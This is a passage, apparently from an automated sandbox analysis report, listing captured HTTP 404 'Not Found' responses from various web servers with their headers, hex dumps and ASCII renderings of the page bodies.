6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-215.ec2.internalX-Request-Id: c2120de1-b24d-42eb-a0b0-636bb3ce0969Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XLOxuhPW6WgowkLtaoHONu6gVVz6DTpv1V0dSInq6aNrwVAtY7SobEs0iLMXGDanpPFUaqjFS4L%2Fz5cADfw9X%2ByqWQtG4PH7%2FFSJd8ZZ%2F0EgAqPsTEMNhPO8lpbFyIffWq6mtg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845db2bd1667ea-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77570Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:25 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: kJ1wsVdZ/iEu4nsIwData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:25 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Encoding: gzipContent-Length: 9080Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:25 GMTEtag: W/"224cdda39538e5cc05aeb10d2d22831f"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BROZ5gNZcWpxMjBkY2U0YjRhMWE0Mzk0NGM2MmMzMjc4NTJhYWI1;Path=/Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: 92f3BpPL/ekDYA3BMData Raw: 1f 8b 08 00 00 00 00 00 00 00 ed 7d e9 72 db 46 b3 e8 7f 3f 05 c2 5b f9 3e bb 4c 90 d8 17 c5 d2 17 8a 92 62 d9 a2 24 8b 92 b7 54 8a 35 00 06 24 24 10 60 00 90 12 9d e3 07 38 8f 72 5f e3 9e 17 3b dd 33 03 12 dc 24 d9 92 93 f8 56 12 4b 02 67 7a 7a 7a 9b 9e ee 59 c0 17 3f 04 a9 5f 4c 47 54 1a 14 c3 78 e7 c9 93 17 f8 57 ba 19 c6 49 be 95 f6 b7 6b 83 a2 18 6d 35 9b e9 88 26 fd 8c 8c 06 a3 2c 2d 52 3f 8d 1b 69 d6 6f e6 fe 80 0e 49 b3 26 e0 43 6f 06 7f 7d 7d dd 08 89 4f bd 34 bd 6a f8 e9 b0 a9 29 8a d3 0c bd 61 5c 93 62 92 00 62 9a c8 17 dd 9a 24 f9 31 c9 f3 ed 5a 6d e7 89 24 bd 18 50 12 e0 03 3c 0e 69 41 24 7f 40 b2 9c 16 db b5 71 11 ca 4e ad 5a 85 1d c9 f4 f7 71 34 d9 ae bd 97 2f 5a 72 3b 1d 8e 48 11 79 31 ad 49 7e 9a 14 34 81 76 87 fb db 34 e8 d3 ba 3f c8 d2 21 dd 56 05 8a 0a 9e 84 40 79 6d 12 d1 eb 51 9a 15 95 a6 d7 51 50 0c b6 03 3a 89 7c 2a b3 0f f5 28 89 8a 88 c4 72 ee 93 78 19 d9 0f b2 2c 9d 0f a2 5c 82 7f dd df c7 24 a3 f9 08 04 d0 90 64 79 87 55 fa 24 8b f2 30 1d 27 01 50 99 26 58 fe e4 85 47 72 10 7d 46 43 26 81 b5 4c 4b 4d a8 28 a2 22 a6 3b 6d 44 21 1d cc 70 bc 68 f2 f2 27 ab 22 69 f9 3e 1d 15 72 fb 65 85 a3 2e f5 a1 00 65 75 1a 93 22 4c b3 a1 fc 96 66 39 20 aa 4b f3 ba 4e 1a d0 18 7b 7d 11 47 c9 95 94 d1 78 bb 16 01 8e 9a 84 76 02 cf 43 d2 a7 cd 1b 99 97 71 da b1 e7 1c d4 ce ea f2 46 3e e7 5f f6 83 84 19 80 a0 a2 39 51 9b a6 a1 04 3e 51 3c 6a 78 8a 46 c1 48 3c cb 0a ac 80 34 55 43 37 1d d3 30 15 55 d7 5d f9 e2 fd fe 47 6b af bb bf ff d6 69 9f b6 3b 17 e6 fb 8f a7 cd 90 4c b0 e3 06 fc aa 35 4b c6 c1 28 47 34 2b a6 db b5 b4 bf 95 47 05 ed a1 56 2b 9c 2f 0b 6e 43 53 26 cd af 68 06 72 a9 1a 0e f5 90 86 0d c0 4c 44 15 68 31 60 1e 2e 39 c3 b2 34 d5 50 34 dd 94 f7 4e 77 41 6a ed 7d fd d0 51 8e 4f 5e bf 56 df b4 8d 66 fb a0 71 39 ea ff 07 d5 4e 8a 6d d5 54 94 eb 39 89 40 ef 10 c9 dc ae dd 5b 72 f3 26 c5 60 3c f4 12 12 c5 17 59 fc 77 e2 ac 62 bf 48 43 2f cf fc aa c1 fe 65 b4 49 6b 64 f8 f7 34 0b ee 1c 8b eb a8 28 68 f6 05 c3 63 b1 dd f7 c0 1b 78 e7 a0 42 62 3e 1e 0e 49 36 5d 86 0e 68 ee 67 d1 88 31 3b 07 e6 0a 9d 5b db 28 a3 50 97 50 bf b8 bf 7f 44 ef cf 71 0b 37 5b d0 9b a2 79 49 26 84 97 d6 24 b0 de ed 5a b3 39 ce 69 03 21 ae a2 a2 91 d0 a2 19 5d 35 2d 2f 76 8b e8 ba f5 71 ff 30 bf ea 5f c6 17 97 c1 87 74 a4 7e 2c 46 bf c7 d7 97 93 0f 53 f3 dd e4 97 58 8b 89 7f 1d 52 a5 1b 86 07 2f 8f 8d 8b 57 47 07 67 de c0 d4 2e 07 ef f6 dc f7 d7 34 3f bb 7c d3 7f fd f1 4d fe fa 5a 33 9c cb c1 f0 f5 e5 d9 e5 e0 a3 f6 f1 f7 cb dc 0e 3a a7 bf 28 97 83 dd 2b f9 dd 81 1f 90 a1 f2 91 ee be 97 5b c7 ca 89 7a 70 11 b5 76 Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 231Connection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6e c2 30 10 44 ef f9 8a 2d 77 b2 69 c5 a1 07 cb 12 90 a0 22 05 1a b5 e6 c0 d1 c4 0b 8e 9a d8 c6 36 ad f8 fb 3a 41 95 7a 59 69 76 e7 8d 66 d9 53 f9 be 16 c7 a6 82 37 b1 ab a1 39 ac ea ed 1a 66 73 c4 6d 25 36 88 a5 28 1f 97 97 bc 40 ac f6 33 9e 31 1d 87 9e 33 4d 52 25 11 bb d8 13 5f 14 0b d8 db 08 1b 7b 33 8a e1 63 99 31 9c 4c ec 64 d5 7d e4 9e f9 3f 4f 52 19 73 5c 68 02 4f d7 1b 85 48 0a 0e 1f 35 a0 d3 6e 77 5f aa a1 33 08 3f 32 80 49 d0 79 84 c0 1a 88 ba 0b 10 c8 7f 93 cf 19 ba 31 d6 a7 21 95 f2 14 02 5f 3a d9 a6 c4 cf c9 00 32 c2 a9 97 ed 97 a2 d0 5d 4c de da 21 0f 17 68 ac 8f f0 5a 30 fc 83 52 d1 a9 62 2a 35 be 96 fd 02 61 64 95 b4 15 01 00 00 Data Ascii: Mn0D-wi"6:AzYivfS79fsm%6(@313MR%_{3c1Ld}?ORs\hOH5nw_3?2Iy1!_:2]L!hZ0Rb*5ad
